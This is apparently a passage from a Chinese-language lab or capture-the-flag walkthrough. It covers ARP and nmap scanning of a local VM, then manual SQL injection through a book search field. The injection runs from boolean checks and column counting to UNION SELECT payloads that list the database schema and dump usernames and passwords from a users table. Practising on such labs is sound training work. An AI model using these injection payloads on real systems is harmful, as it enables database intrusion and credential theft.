┌──(root㉿kali)-[/opt/antsword] └─# arp-scan 192.168.1.0/24 Interface: eth0, type: EN10MB, MAC: 00:0c:29:f8:7d:ef, IPv4: 192.168.1.133 Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.1.1 00:50:56:c0:00:08 VMware, Inc. 192.168.1.2 00:50:56:f2:24:22 VMware, Inc. 192.168.1.140 00:0c:29:23:07:8b VMware, Inc. 192.168.1.254 00:50:56:f7:78:15 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.7: 256 hosts scanned in 1.974 seconds (129.69 hosts/sec). 4 responded
扫描开放端口:
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[/opt/antsword] └─# nmap -p- 192.168.1.140 Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-16 08:38 EST Nmap scan report for 192.168.1.140 Host is up (0.00065s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:23:07:8B (VMware)
Nmap done: 1 IP address (1 host up) scanned in 18.25 seconds
扫描端口对应服务:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
┌──(root㉿kali)-[/opt/antsword] └─# nmap -p 22,80 -sV 192.168.1.140 Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-16 08:40 EST Nmap scan report for 192.168.1.140 Host is up (0.00060s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.34 ((Ubuntu)) MAC Address: 00:0C:29:23:07:8B (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.59 seconds
Linux OS # 正常,注意直接复制 Book Title 后面是跟着一个空格的,等会注入会有问题,而且 Title 必须打全 Linux OS' -- # 正常 Linux OS' and 1=1 -- # 正常 Linux OS' and 1=2 -- # 异常
手工注入一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
search=Linux OS' order by 3 # - 正常 search=Linux OS' order by 4 # - 错误
search=-Linux OS' union select 1,2,3 # search=-Linux OS' union select 1,database(),3 # webapphacking search=-Linux OS' union select 1,group_concat(schema_name),3 from information_schema.schemata # information_schema,mysql,performance_schema,sys,webapphacking search=-Linux OS' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'webapphacking' # books,users search=-Linux OS' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = 'webapphacking'and table_name = 'users' # id,user,pasword,name,address search=-Linux OS' union select 1,group_concat(user,'-',pasword,'<hr/>'),3 from users #